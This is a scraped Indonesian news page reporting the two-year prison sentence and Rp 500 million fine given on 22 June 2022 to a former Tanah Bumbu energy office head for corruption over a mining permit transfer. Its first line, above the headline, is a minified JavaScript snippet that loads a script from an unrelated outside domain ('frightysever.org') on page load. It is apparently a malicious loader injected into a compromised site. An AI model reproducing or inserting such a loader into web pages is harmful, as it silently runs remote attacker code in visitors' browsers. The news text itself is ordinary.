(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tok! Vonis 2 Tahun Penjara Mantan Kadis ESDM Tanbu


KANALKALIMANTAN.COM, BANJARMASIN – Hakim memvonis 2 tahun penjara dan denda Rp 500 juta terdakwa mantan Kepala Dinas Energi dan Sumber Daya Manusia (ESDM) Kabupaten Tanah Bumbu, Raden Dwidjono Putrohadi Sutopo dalam sidang pembacaan putusan di Pengadilan Tipikor Banjarmasin, Rabu (22/6/2022).

Mantan Kadis ESDM Tanbu era Bupati Mardani H Maming tersebut menjadi terdakwa dalam kasus tidak pidana korupsi pengalihan Izin Usaha Pertambangan (IUP) Operasi Produksi PT Bangun Karya Pratama Lestari (PT BKPL) kepada PT Prolindo Cipta Nusantara (PT PCN) di Kabupaten Tanah Bumbu.

Dalam pertimbangan majelis hakim menyatakan bahwa terdakwa Raden Dwidjono Putrohadi Sutopo merupakan pelaku utama dan telah memenuhi unsur tindak pidana korupsi pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang tindak pidana korupsi, sebagaimana dakwaan JPU (Jaksa Penuntut Umum) komulatif pertama alternatif ketiga pada sidang dakwaan sebelumnya.

 

 

Baca juga: KPK Tegaskan Punya Cukup Bukti Terkait Kasus Mardani Maming

Dalam pertimbangan majelis hakim yang meringankan terdakwa, hakim menyatakan bahwa terdakwa berlaku sopan selama persidangan dan belum pernah dihukum sebelumnya.

Penasehat hukum terdakwa Lucky Omega Hasan setelah sidang putusan mengatakan bahwa pihaknya sangat mengapresiasi atas putusan hakim dan belum bisa memutuskan apakah mengajukan banding atau menerima putusan untuk saat ini.

“Kita sangat mengapresiasi putusan hakim dan untuk apakah mengajukan banding, tim kita masih pikir-pikir,” katanya.

Sidang pembacaan putusan di Pengadilan Tipikor Banjarmasin, Rabu (22/6/2022). Foto: rizki

Sebelumnya terdakwa Dwi dituntut hukuman 5 tahun penjara oleh JPU serta didenda Rp 1,3 miliar. JPU menilai terdakwa Dwidjono telah terbukti secara sah dan meyakinkan melakukan dua tindak pidana, korupsi berupa gratifikasi dan tindak pidana pencucian uang (TTPU). (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.